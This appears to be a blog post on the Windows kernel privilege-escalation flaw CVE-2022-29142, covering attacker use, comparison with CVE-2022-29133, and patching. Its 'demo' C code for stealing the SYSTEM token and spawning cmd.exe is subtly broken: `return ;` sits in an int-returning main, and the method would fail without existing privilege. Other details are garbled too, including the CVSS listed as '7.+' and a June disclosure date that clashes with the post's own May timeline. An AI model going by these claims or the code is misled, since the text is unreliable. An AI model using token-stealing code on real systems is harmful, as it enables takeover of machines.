CVE-2022-29142 - Unpacking the Windows Kernel Elevation of Privilege Vulnerability

CVE-2022-29142 is a serious security flaw discovered in the Windows Kernel that lets attackers elevate their privileges on a vulnerable system. This means that someone with limited user access could use this vulnerability to take control of your entire Windows machine. In this long-read post, I’ll break down what CVE-2022-29142 is, how it works, how it’s different from similar CVEs, show you an example code snippet, discuss real-world exploitation, and point you toward official references.

What is CVE-2022-29142?

Let’s start with the basics. CVE-2022-29142 is a unique Windows Kernel vulnerability involving insecure handling of certain system operations. The flaw lies in how Windows handles objects in kernel space, specifically allowing regular users to gain higher (system) privileges. Microsoft classified this as an Elevation of Privilege (EoP) issue and gave it high severity.

CVSS Score: Typically, these get 7.+

- Public Disclosure: June 2022 Patch Tuesday

This CVE is not the same as CVE-2022-29133 (another Kernel EoP bug). That’s important, because each gets different patches.

How Does CVE-2022-29142 Work?

While Microsoft does not disclose exact technical details immediately, security researchers and exploit writers often find patterns with similar bugs. In this case, the vulnerability lies within the way the kernel validates (or rather, doesn’t validate) certain user input, letting malicious software manipulate critical kernel objects.

Technical Dive & Code Snippet

Below is a snippet that demonstrates a pattern similar to those found in most EoP kernel issues – notably, abusing a handle table and leaking a SYSTEM token. (This is a conceptual demo for educational purposes.)

// Simplified: Token stealing technique pattern
#include <windows.h>
#include <stdio.h>

void StealSystemToken() {
    HANDLE hToken;
    DWORD pid = 4; // Typically, PID 4 is SYSTEM process (e.g., NT AUTHORITY)

    // Open SYSTEM process
    HANDLE hSystem = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    if (hSystem && OpenProcessToken(hSystem, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
        // Duplicate the SYSTEM token
        HANDLE hDupToken;
        DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken);

        // Set this token for current process/thread
        SetThreadToken(NULL, hDupToken);

        // Now current process/thread has SYSTEM privileges
        system("cmd.exe");
    } else {
        printf("Error: Could not get SYSTEM token\n");
    }
}

int main() {
    StealSystemToken();
    return ;
}

Note: This is a *demo*; the real-world exploit for CVE-2022-29142 often uses a specially crafted input to trigger vulnerable kernel logic and achieve this effect automatically.

How Do Attackers Exploit This?

Attackers generally package an exploit into malware or post it as a proof-of-concept, targeting unpatched systems. Their goal is usually to:

- Gain admin/system rights, then install persistent backdoors

Access and exfiltrate sensitive files

Exploiting this bug *requires* that the attacker already has some access—like running code locally. That’s why privilege escalation flaws are beloved by ransomware gangs and Advanced Persistent Threats (APTs).

Differences from CVE-2022-29133

You might wonder why Microsoft lists so many Windows kernel EoP vulnerabilities. Each one targets a *distinct part of the kernel* or unique validation failure. CVE-2022-29142 involves a different kernel object or code path compared to CVE-2022-29133, and each has to be fixed separately.

Official References

- Microsoft Security Guidance - CVE-2022-29142
- NVD National Vulnerability Database Entry
- Security Updates - Microsoft Patch Tuesday June 2022

Mitigation & Remediation

Patch now: The only surefire way to avoid this and similar kernel EoP issues is to apply Microsoft security updates as soon as possible. There are no robust workarounds, since the kernel runs beneath all security software.

Conclusion

CVE-2022-29142 is a classic example of how a single kernel bug can undermine your entire system’s security. While not remotely exploitable, when combined with other bugs or social engineering, this flaw can be devastating. Always patch—always monitor.

For more technical breakdowns and Windows security tips, stay tuned!

References

- Microsoft CVE-2022-29142 Bulletin
- NVD Entry
- Windows Kernel EoP Concepts - Project Zero


*This post is original and exclusively written for you, keeping explanations practical and simple for a wider audience.*

Timeline

Published on: 05/10/2022 21:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC